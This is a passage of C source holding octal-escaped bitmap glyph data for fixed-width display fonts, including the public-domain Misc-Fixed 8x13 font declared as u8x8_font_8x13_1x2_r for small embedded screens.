\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\340\\200\\200\\0\\0\\0\\0\\0\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\14\\14\\4\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0\\0\\200@ \\30\\0\\14\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\3\\4\\10\\10\\4\\3\\0\\0 \\20\\370\\0\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\14\\12\\11\\11\\10\\10\\0\\0\\10\\10\\210\\310\\250\\30\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\200@ \\20\\370\\0\\0\\0\\3\\2\\2\\2\\17\\2\\0\\0\\370\\210HHH\\210\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\340\\20\\210\\210\\210\\0\\0\\0\\7\\11\\10\\10\\10\\7\\0\\0\\10\\10\\10\\310(\\30\\0\\0\\0\\14\\3\"\n  \"\\0\\0\\0\\0\\0p\\210\\210\\210\\210p\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0p\\210\\210\\210H\\360\\0\\0\\0\\10\\10\"\n  \"\\10\\4\\3\\0\\0\\0@\\340@\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0@\\340@\\0\\0\\0\\0\\20\\14\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\200@ \\20\\10\\0\\0\\0\\0\\1\\2\\4\\10\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\10\\20 @\\200\\0\\0\\0\\10\\4\\2\\1\\0\\0\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\0\\0\\0\"\n  \"\\13\\0\\0\\0\\0\\360\\10\\210HH\\360\\0\\0\\7\\10\\11\\12\\11\\3\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\17\\1\\1\"\n  \"\\1\\1\\17\\0\\0\\370\\210\\210\\210P \\0\\0\\17\\10\\10\\10\\5\\2\\0\\0\\360\\10\\10\\10\\10\\20\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\4\\0\\0\\370\\10\\10\\10\\20\\340\\0\\0\\17\\10\\10\\10\\4\\3\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\17\\10\\10\"\n  \"\\10\\10\\10\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\20\\0\\0\\7\\10\\10\"\n  \"\\11\\5\\17\\0\\0\\370\\200\\200\\200\\200\\370\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\10\\10\\370\\10\\10\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\0\\0\\10\\10\\370\\10\\10\\0\\4\\10\\10\\10\\7\\0\\0\\0\\370\\200@ \\20\\10\\0\\0\\17\\0\\1\"\n  \"\\2\\4\\10\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\17\\10\\10\\10\\10\\10\\0\\370 @\\200@ \\370\\0\\17\\0\\0\\1\"\n  \"\\0\\0\\17\\0\\0\\370 @\\200\\0\\370\\0\\0\\17\\0\\0\\0\\1\\17\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\370\\210\\210\\210\\210p\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\7\\10\\12\"\n  \"\\14\\10\\27\\0\\0\\370\\210\\210\\210\\210p\\0\\0\\17\\0\\1\\2\\4\\10\\0\\0p\\210\\210\\210\\210\\20\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\10\\10\\10\\370\\10\\10\\10\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\370\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\30\\340\\0\\0\\0\\340\\30\\0\\0\\0\\7\\10\\7\\0\\0\\0\\370\\0\\0\\200\\0\\0\\370\\0\\7\\10\\4\\3\"\n  \"\\4\\10\\7\\0\\30 @\\200@ \\30\\0\\14\\2\\1\\0\\1\\2\\14\\0\\30 @\\200@ \\30\\0\\0\\0\\0\\17\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\210H(\\30\\0\\0\\16\\11\\10\\10\\10\\10\\0\\0\\0\\370\\10\\10\\10\\0\\0\\0\\0\\17\\10\"\n  \"\\10\\10\\0\\0\\30 @\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\14\\0\\0\\10\\10\\10\\370\\0\\0\\0\\0\\10\\10\\10\"\n  \"\\17\\0\\0\\0\\0 \\20\\10\\20 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@\\200\\0\\0\\6\\11\\11\"\n  \"\\11\\5\\17\\0\\0\\370\\200@@@\\200\\0\\0\\17\\4\\10\\10\\10\\7\\0\\0\\200@@@@\\200\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\4\\0\\0\\200@@@\\200\\370\\0\\0\\7\\10\\10\\10\\4\\17\\0\\0\\200@@@@\\200\\0\\0\\7\\11\\11\"\n  \"\\11\\11\\5\\0\\0\\200\\360\\210\\210\\210\\20\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\200@@@\\200@\\0\\0\\25**\"\n  \"*)\\20\\0\\0\\370\\200@@@\\200\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\0@\\320\\0\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\0\\0\\0@\\320\\0\\0\\0\\30   \\37\\0\\0\\0\\370\\0\\0\\200@\\0\\0\\0\\17\\1\\1\"\n  \"\\2\\4\\10\\0\\0\\0\\10\\370\\0\\0\\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\300@@\\200@@\\200\\0\\17\\0\\0\\7\"\n  \"\\0\\0\\17\\0\\0\\300\\200@@@\\200\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\200@@@@\\200\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\300\\200@@@\\200\\0\\0\\77\\2\\4\\4\\4\\3\\0\\0\\200@@@\\200\\300\\0\\0\\3\\4\\4\"\n  \"\\4\\2\\77\\0\\0@\\200@@@\\200\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\200@@@@\\200\\0\\0\\4\\11\\11\"\n  \"\\12\\12\\4\\0\\0@\\360@@@\\0\\0\\0\\0\\7\\10\\10\\10\\4\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\7\\10\\10\"\n  \"\\10\\7\\10\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\1\\6\\10\\6\\1\\0\\0\\300\\0\\0\\0\\0\\0\\300\\0\\7\\10\\4\\3\"\n  \"\\4\\10\\7\\0\\0@\\200\\0\\0\\200@\\0\\0\\10\\4\\3\\3\\4\\10\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\23$$\"\n  \"$\\42\\37\\0\\0@@@@\\300@\\0\\0\\10\\14\\12\\11\\10\\10\\0\\0\\0\\200\\260H\\10\\10\\0\\0\\0\\0\\6\"\n  \"\\11\\10\\10\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\10\\10H\\260\\200\\0\\0\\0\\10\\10\\11\"\n  \"\\6\\0\\0\\0\\0\\60\\10\\20 \\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\350\\0\\0\\0\\0\\0\\0\\0\\17\"\n  \"\\0\\0\\0\\0\\0\\340\\20\\370\\20 \\0\\0\\0\\1\\2\\7\\2\\1\\0\\0\\0@\\360H\\10\\10\\20\\0\\10\\14\\7\\10\"\n  \"\\10\\10\\4\\0\\0 \\300@@\\300 \\0\\0\\4\\3\\2\\2\\3\\4\\0\\30\\240\\300\\200\\300\\240\\30\\0\\0\\2\\2\\17\"\n  \"\\2\\2\\0\\0\\0\\0\\0x\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\330$$\\310\\0\\0\\0\\0\\4\\11\"\n  \"\\11\\6\\0\\0\\0\\0\\14\\0\\0\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\10\\344\\24\\244\\10\\360\\0\\1\\2\\4\\5\"\n  \"\\4\\2\\1\\0\\0@\\250\\250\\250\\360\\0\\0\\0\\2\\2\\2\\2\\2\\0\\0\\200@ \\220@ \\20\\0\\0\\1\\2\\4\"\n  \"\\1\\2\\4\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\10\\344\\224d\\10\\360\\0\\1\\2\\5\\4\\5\\2\\1\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60HH\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\\360@@\\0\\0\\0\\4\\4\\5\"\n  \"\\4\\4\\0\\0\\0\\310\\244\\244\\230\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0H\\204\\224h\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\37\\4\\10\"\n  \"\\10\\4\\17\\0\\0p\\370\\370\\10\\370\\10\\0\\0\\0\\0\\17\\0\\17\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\0\\0\\0\\0\\210\\374\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60HH\\60\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\20 @\\220 @\\200\\0\\4\\2\\1\\4\"\n  \"\\2\\1\\0\\0\\210\\374\\200\\0\\0\\200\\300\\0\\0\\0\\0\\6\\5\\10\\17\\0\\210\\374\\200\\200@@\\200\\0\\0\\0\\0\\14\"\n  \"\\12\\12\\11\\0H\\204\\224h\\0\\200\\300\\0\\0\\0\\0\\6\\5\\10\\17\\0\\0\\0\\200h\\0\\0\\0\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\6\\0\\0\\200@$(@\\200\\0\\0\\17\\2\\2\\2\\2\\17\\0\\0\\200@($@\\200\\0\\0\\17\\2\\2\"\n  \"\\2\\2\\17\\0\\0\\200H$$H\\200\\0\\0\\17\\2\\2\\2\\2\\17\\0\\0\\210D$(H\\204\\0\\0\\17\\2\\2\"\n  \"\\2\\2\\17\\0\\0\\200L  L\\200\\0\\0\\17\\2\\2\\2\\2\\17\\0\\0\\200H\\64\\64H\\200\\0\\0\\17\\2\\2\"\n  \"\\2\\2\\17\\0\\360\\10\\10\\360\\210\\210\\10\\0\\17\\1\\1\\17\\10\\10\\10\\0\\0\\360\\10\\10\\10\\10\\20\\0\\0\\7\\10(\"\n  \"\\30\\10\\4\\0\\0\\340 $(  \\0\\0\\17\\11\\11\\11\\10\\10\\0\\0\\340 ($  \\0\\0\\17\\11\\11\"\n  \"\\11\\10\\10\\0\\0\\340($$( \\0\\0\\17\\11\\11\\11\\10\\10\\0\\0\\340,  , \\0\\0\\17\\11\\11\"\n  \"\\11\\10\\10\\0\\0 $\\350  \\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\0  \\350$ \\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0 (\\344$(\\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\0, \\340 ,\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\200\\370\\210\\10\\10\\20\\340\\0\\0\\17\\10\\10\\10\\4\\3\\0\\350D\\204\\10\\10\\4\\340\\0\\17\\0\\0\\1\"\n  \"\\2\\4\\17\\0\\300 $(  \\300\\0\\7\\10\\10\\10\\10\\10\\7\\0\\300  ($ \\300\\0\\7\\10\\10\\10\"\n  \"\\10\\10\\7\\0\\300 ($$(\\300\\0\\7\\10\\10\\10\\10\\10\\7\\0\\310$$(($\\300\\0\\7\\10\\10\\10\"\n  \"\\10\\10\\7\\0\\300,   ,\\300\\0\\7\\10\\10\\10\\10\\10\\7\\0\\0 @\\200\\200@ \\0\\0\\4\\2\\1\"\n  \"\\1\\2\\4\\0\\0\\360\\10\\210h\\30\\364\\0\\0\\27\\14\\13\\10\\10\\7\\0\\0\\340\\4\\10\\0\\0\\340\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\340\\0\\10\\4\\0\\340\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0\\340\\10\\4\\4\\10\\340\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\340\\14\\0\\0\\14\\340\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0`\\200\\10\\204`\\0\\0\\0\\0\\0\\17\"\n  \"\\0\\0\\0\\0\\0\\370\\20\\20\\20\\20\\340\\0\\0\\17\\1\\1\\1\\1\\0\\0\\0\\360\\10\\210H\\60\\0\\0\\0\\17\\0\\10\"\n  \"\\11\\11\\6\\0\\0\\0@HP@\\200\\0\\0\\6\\11\\11\\11\\5\\17\\0\\0\\0@@PH\\200\\0\\0\\6\\11\\11\"\n  \"\\11\\5\\17\\0\\0\\0PHHP\\200\\0\\0\\6\\11\\11\\11\\5\\17\\0\\0\\20HHPP\\210\\0\\0\\6\\11\\11\"\n  \"\\11\\5\\17\\0\\0\\0X@@X\\200\\0\\0\\6\\11\\11\\11\\5\\17\\0\\0\\0HTTH\\200\\0\\0\\6\\11\\11\"\n  \"\\11\\5\\17\\0\\0@@\\200@@\\200\\0\\6\\11\\11\\7\\11\\11\\4\\0\\0\\200@@@@\\200\\0\\0\\7\\10(\"\n  \"\\30\\10\\4\\0\\0\\200@HP@\\200\\0\\0\\7\\11\\11\\11\\11\\5\\0\\0\\200@PH@\\200\\0\\0\\7\\11\\11\"\n  \"\\11\\11\\5\\0\\0\\200PHHP\\200\\0\\0\\7\\11\\11\\11\\11\\5\\0\\0\\200X@@X\\200\\0\\0\\7\\11\\11\"\n  \"\\11\\11\\5\\0\\0\\0H\\320\\0\\0\\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\0\\0P\\310\\0\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\20H\\310\\20\\0\\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\0\\30@\\300\\30\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\200THXd\\200\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0\\320\\210HPP\\210\\0\\0\\17\\0\\0\"\n  \"\\0\\0\\17\\0\\0\\200HP@@\\200\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0\\200@PH@\\200\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\200PHHP\\200\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0\\220HHPP\\210\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\200X@@X\\200\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0\\200\\200\\260\\200\\200\\0\\0\\0\\0\\0\\6\"\n  \"\\0\\0\\0\\0\\0\\200@@@\\300\\240\\0\\0\\27\\14\\12\\11\\10\\7\\0\\0\\300\\10\\20\\0\\300\\0\\0\\0\\7\\10\\10\"\n  \"\\10\\7\\10\\0\\0\\300\\0\\20\\10\\300\\0\\0\\0\\7\\10\\10\\10\\7\\10\\0\\0\\300\\20\\10\\10\\320\\0\\0\\0\\7\\10\\10\"\n  \"\\10\\7\\10\\0\\0\\300\\30\\0\\30\\300\\0\\0\\0\\7\\10\\10\\10\\7\\10\\0\\0\\300\\0\\20\\10\\0\\300\\0\\0\\23$$\"\n  \"$\\42\\37\\0\\0\\360\\200@@@\\200\\0\\0\\77\\4\\10\\10\\10\\7\\0\\0\\300\\30\\0\\0\\30\\300\\0\\0\\23$$\"\n  \"$\\42\\37\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/3703\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13_1x2_r[1524] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_r\") = \n  \" ~\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\13\"\n  \"\\0\\0\\0\\0\\0\\0\\70\\0\\0\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\360@@\\360@\\0\\0\\1\\7\\1\"\n  \"\\1\\7\\1\\0\\0`\\220\\370\\220\\20\\0\\0\\0\\4\\4\\17\\4\\3\\0\\0\\0\\20(\\20\\300 \\30\\0\\0\\10\\6\\1\"\n  \"\\4\\12\\4\\0\\0\\300  \\300\\0\\0\\0\\0\\6\\11\\11\\12\\4\\12\\0\\0\\0\\0\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\10\\0\\0\\0\\0\\0\\1\\6\\10\\0\\0\\0\\0\\10\\60\\300\\0\\0\\0\\0\\0\\10\\6\"\n  \"\\1\\0\\0\\0\\0 \\250pp\\250 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\340\\200\\200\\0\\0\\0\\0\\0\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\14\\14\\4\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0\\0\\200@ \\30\\0\\14\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\3\\4\\10\\10\\4\\3\\0\\0 \\20\\370\\0\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\14\\12\\11\\11\\10\\10\\0\\0\\10\\10\\210\\310\\250\\30\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\200@ \\20\\370\\0\\0\\0\\3\\2\\2\\2\\17\\2\\0\\0\\370\\210HHH\\210\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\340\\20\\210\\210\\210\\0\\0\\0\\7\\11\\10\\10\\10\\7\\0\\0\\10\\10\\10\\310(\\30\\0\\0\\0\\14\\3\"\n  \"\\0\\0\\0\\0\\0p\\210\\210\\210\\210p\\0\\0\\7\\10\\10\\10\\10\\7\\0\\0p\\210\\210\\210H\\360\\0\\0\\0\\10\\10\"\n  \"\\10\\4\\3\\0\\0\\0@\\340@\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0@\\340@\\0\\0\\0\\0\\20\\14\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\200@ \\20\\10\\0\\0\\0\\0\\1\\2\\4\\10\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\10\\20 @\\200\\0\\0\\0\\10\\4\\2\\1\\0\\0\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\0\\0\\0\"\n  \"\\13\\0\\0\\0\\0\\360\\10\\210HH\\360\\0\\0\\7\\10\\11\\12\\11\\3\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\17\\1\\1\"\n  \"\\1\\1\\17\\0\\0\\370\\210\\210\\210P \\0\\0\\17\\10\\10\\10\\5\\2\\0\\0\\360\\10\\10\\10\\10\\20\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\4\\0\\0\\370\\10\\10\\10\\20\\340\\0\\0\\17\\10\\10\\10\\4\\3\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\17\\10\\10\"\n  \"\\10\\10\\10\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\20\\0\\0\\7\\10\\10\"\n  \"\\11\\5\\17\\0\\0\\370\\200\\200\\200\\200\\370\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\10\\10\\370\\10\\10\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\0\\0\\10\\10\\370\\10\\10\\0\\4\\10\\10\\10\\7\\0\\0\\0\\370\\200@ \\20\\10\\0\\0\\17\\0\\1\"\n  \"\\2\\4\\10\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\17\\10\\10\\10\\10\\10\\0\\370 @\\200@ \\370\\0\\17\\0\\0\\1\"\n  \"\\0\\0\\17\\0\\0\\370 @\\200\\0\\370\\0\\0\\17\\0\\0\\0\\1\\17\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\370\\210\\210\\210\\210p\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\7\\10\\12\"\n  \"\\14\\10\\27\\0\\0\\370\\210\\210\\210\\210p\\0\\0\\17\\0\\1\\2\\4\\10\\0\\0p\\210\\210\\210\\210\\20\\0\\0\\4\\10\\10\"\n  \"\\10\\10\\7\\0\\10\\10\\10\\370\\10\\10\\10\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\370\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\30\\340\\0\\0\\0\\340\\30\\0\\0\\0\\7\\10\\7\\0\\0\\0\\370\\0\\0\\200\\0\\0\\370\\0\\7\\10\\4\\3\"\n  \"\\4\\10\\7\\0\\30 @\\200@ \\30\\0\\14\\2\\1\\0\\1\\2\\14\\0\\30 @\\200@ \\30\\0\\0\\0\\0\\17\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\210H(\\30\\0\\0\\16\\11\\10\\10\\10\\10\\0\\0\\0\\370\\10\\10\\10\\0\\0\\0\\0\\17\\10\"\n  \"\\10\\10\\0\\0\\30 @\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\14\\0\\0\\10\\10\\10\\370\\0\\0\\0\\0\\10\\10\\10\"\n  \"\\17\\0\\0\\0\\0 \\20\\10\\20 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@\\200\\0\\0\\6\\11\\11\"\n  \"\\11\\5\\17\\0\\0\\370\\200@@@\\200\\0\\0\\17\\4\\10\\10\\10\\7\\0\\0\\200@@@@\\200\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\4\\0\\0\\200@@@\\200\\370\\0\\0\\7\\10\\10\\10\\4\\17\\0\\0\\200@@@@\\200\\0\\0\\7\\11\\11\"\n  \"\\11\\11\\5\\0\\0\\200\\360\\210\\210\\210\\20\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\200@@@\\200@\\0\\0\\25**\"\n  \"*)\\20\\0\\0\\370\\200@@@\\200\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\0@\\320\\0\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\10\\10\\0\\0\\0\\0\\0\\0@\\320\\0\\0\\0\\30   \\37\\0\\0\\0\\370\\0\\0\\200@\\0\\0\\0\\17\\1\\1\"\n  \"\\2\\4\\10\\0\\0\\0\\10\\370\\0\\0\\0\\0\\0\\10\\10\\17\\10\\10\\0\\0\\300@@\\200@@\\200\\0\\17\\0\\0\\7\"\n  \"\\0\\0\\17\\0\\0\\300\\200@@@\\200\\0\\0\\17\\0\\0\\0\\0\\17\\0\\0\\200@@@@\\200\\0\\0\\7\\10\\10\"\n  \"\\10\\10\\7\\0\\0\\300\\200@@@\\200\\0\\0\\77\\2\\4\\4\\4\\3\\0\\0\\200@@@\\200\\300\\0\\0\\3\\4\\4\"\n  \"\\4\\2\\77\\0\\0@\\200@@@\\200\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\200@@@@\\200\\0\\0\\4\\11\\11\"\n  \"\\12\\12\\4\\0\\0@\\360@@@\\0\\0\\0\\0\\7\\10\\10\\10\\4\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\7\\10\\10\"\n  \"\\10\\7\\10\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\1\\6\\10\\6\\1\\0\\0\\300\\0\\0\\0\\0\\0\\300\\0\\7\\10\\4\\3\"\n  \"\\4\\10\\7\\0\\0@\\200\\0\\0\\200@\\0\\0\\10\\4\\3\\3\\4\\10\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\23$$\"\n  \"$\\42\\37\\0\\0@@@@\\300@\\0\\0\\10\\14\\12\\11\\10\\10\\0\\0\\0\\200\\260H\\10\\10\\0\\0\\0\\0\\6\"\n  \"\\11\\10\\10\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\10\\10H\\260\\200\\0\\0\\0\\10\\10\\11\"\n  